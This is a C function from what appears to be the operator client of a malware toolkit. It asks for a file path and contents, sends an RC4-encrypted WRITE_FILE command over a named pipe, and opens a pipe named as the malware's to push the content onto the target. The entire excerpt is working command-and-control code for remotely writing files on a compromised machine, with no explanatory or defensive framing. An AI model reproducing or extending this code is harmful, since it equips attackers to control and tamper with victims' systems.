void cl_write_file()

in client.c [733:765]


void cl_write_file(HANDLE pipe, const char* target, uint32_t pid)
{
    wchar_t file_content[MAX_SIZE / 2] = { 0 };
    wchar_t file_path[MAX_PATH_LENGTH / 2] = { 0 };
    HANDLE secondary_pipe = INVALID_HANDLE_VALUE;
    packet_t* packet = NULL;

    h_get_wide_user_string(L"Enter filename with fullpath of where to write file (ex. C:\\tmp\\text): ", file_path, MAX_PATH_LENGTH / 2);
    h_get_wide_user_string(L"Enter file content: ", file_content, MAX_SIZE / 2);

    comm_send_command(pipe, WRITE_FILE, (uint8_t*)file_path,
        (uint32_t)((wcslen(file_path) + 1) * sizeof(wchar_t)),
        RC4_KEY, RC4_KEY_LENGTH);

    packet = comm_receive_packet(pipe);
    if (!packet->_0.result)
    {
        printf("Write file command failed\n");
        cl_print_packet(packet);
        goto end;
    }

    secondary_pipe = cl_open_malware_pipe_0(target, pid);
    comm_send_file_write(
        secondary_pipe, (uint8_t*)file_content,
        (uint32_t)((wcslen(file_content) + 1) * sizeof(wchar_t)));

end:
    if (packet)
        free(packet);
    if (INVALID_HANDLE_VALUE != secondary_pipe)
        CloseHandle(secondary_pipe);
}